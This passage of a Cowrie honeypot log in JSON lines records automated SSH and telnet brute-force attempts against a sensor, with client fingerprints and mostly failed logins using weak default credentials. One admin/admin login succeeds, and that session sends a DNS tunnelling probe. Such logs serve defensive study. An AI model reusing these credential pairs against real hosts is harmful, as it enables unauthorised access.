a2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:57.435381Z","src_ip":"87.251.64.176","session":"ffae4983d0ac","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:57.729652Z","src_ip":"87.251.64.176","session":"ffae4983d0ac","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:57.827648Z","session":"ffae4983d0ac","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:57.924763Z","src_ip":"87.251.64.176","session":"ffae4983d0ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:58.158260Z","src_ip":"87.251.64.176","session":"ffae4983d0ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":37612,"dst_ip":"10.17.0.5","dst_port":22,"session":"174d0c569e1c","protocol":"ssh","message":"New connection: 91.92.42.227:37612 (10.17.0.5:22) [session: 174d0c569e1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:00.669215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:00.871618Z","src_ip":"91.92.42.227","session":"174d0c569e1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:00.883449Z","src_ip":"91.92.42.227","session":"174d0c569e1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123","message":"login attempt [root/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:02.788867Z","src_ip":"91.92.42.227","session":"174d0c569e1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:04.037228Z","src_ip":"91.92.42.227","session":"174d0c569e1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":36236,"dst_ip":"10.17.0.5","dst_port":22,"session":"00066c78ca29","protocol":"ssh","message":"New connection: 91.92.42.227:36236 (10.17.0.5:22) [session: 00066c78ca29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:08.031731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:08.043224Z","src_ip":"91.92.42.227","session":"00066c78ca29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:08.137090Z","src_ip":"91.92.42.227","session":"00066c78ca29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123","message":"login attempt [root/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:08.568903Z","src_ip":"91.92.42.227","session":"00066c78ca29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":39603,"dst_ip":"10.17.0.5","dst_port":22,"session":"45f3111a0911","protocol":"ssh","message":"New connection: 103.248.120.6:39603 (10.17.0.5:22) [session: 45f3111a0911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:08.600325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:08.604092Z","src_ip":"103.248.120.6","session":"45f3111a0911","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:08.826771Z","src_ip":"103.248.120.6","session":"45f3111a0911","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kent","password":"kent","message":"login attempt [kent/kent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:09.752101Z","src_ip":"103.248.120.6","session":"45f3111a0911","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:09.920016Z","src_ip":"91.92.42.227","session":"00066c78ca29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:10.977859Z","src_ip":"103.248.120.6","session":"45f3111a0911","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":33006,"dst_ip":"10.17.0.5","dst_port":22,"session":"56ee44b1574e","protocol":"ssh","message":"New connection: 91.92.42.227:33006 (10.17.0.5:22) [session: 56ee44b1574e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:14.660093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:14.880097Z","src_ip":"91.92.42.227","session":"56ee44b1574e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:14.883368Z","src_ip":"91.92.42.227","session":"56ee44b1574e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:16.336117Z","src_ip":"91.92.42.227","session":"56ee44b1574e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:17.739381Z","src_ip":"91.92.42.227","session":"56ee44b1574e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":33040,"dst_ip":"10.17.0.5","dst_port":22,"session":"e72bf71ac1e4","protocol":"ssh","message":"New connection: 91.92.42.227:33040 (10.17.0.5:22) [session: e72bf71ac1e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:21.622879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:21.881402Z","src_ip":"91.92.42.227","session":"e72bf71ac1e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:21.884550Z","src_ip":"91.92.42.227","session":"e72bf71ac1e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"123456","message":"login attempt [david/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:23.389719Z","src_ip":"91.92.42.227","session":"e72bf71ac1e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:25.079376Z","src_ip":"91.92.42.227","session":"e72bf71ac1e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":35456,"dst_ip":"159.203.135.109","dst_port":23,"session":"5dca3ff56582","protocol":"telnet","message":"New connection: 172.81.62.90:35456 (159.203.135.109:23) [session: 5dca3ff56582]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:27.139065Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":51664,"dst_ip":"10.17.0.5","dst_port":22,"session":"437ba693df62","protocol":"ssh","message":"New connection: 91.92.42.227:51664 (10.17.0.5:22) [session: 437ba693df62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:28.057802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:28.434770Z","src_ip":"91.92.42.227","session":"437ba693df62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:28.437717Z","src_ip":"91.92.42.227","session":"437ba693df62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":54254,"dst_ip":"159.203.135.109","dst_port":22,"session":"1833a5191e40","protocol":"ssh","message":"New connection: 27.71.230.31:54254 (159.203.135.109:22) [session: 1833a5191e40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:30.000357Z"}
{"eventid":"cowrie.login.failed","username":"alex","password":"1234","message":"login attempt [alex/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:30.572291Z","src_ip":"91.92.42.227","session":"437ba693df62","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:30.918135Z","src_ip":"27.71.230.31","session":"1833a5191e40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:30.921079Z","src_ip":"27.71.230.31","session":"1833a5191e40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:32.044043Z","src_ip":"91.92.42.227","session":"437ba693df62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":56084,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d1a55f02b52","protocol":"ssh","message":"New connection: 91.92.42.227:56084 (10.17.0.5:22) [session: 6d1a55f02b52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:34.844489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:35.400679Z","src_ip":"91.92.42.227","session":"6d1a55f02b52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:35.403497Z","src_ip":"91.92.42.227","session":"6d1a55f02b52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50240,"dst_ip":"159.203.135.109","dst_port":23,"session":"e608f2363384","protocol":"telnet","message":"New connection: 128.199.8.54:50240 (159.203.135.109:23) [session: e608f2363384]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:36.680455Z"}
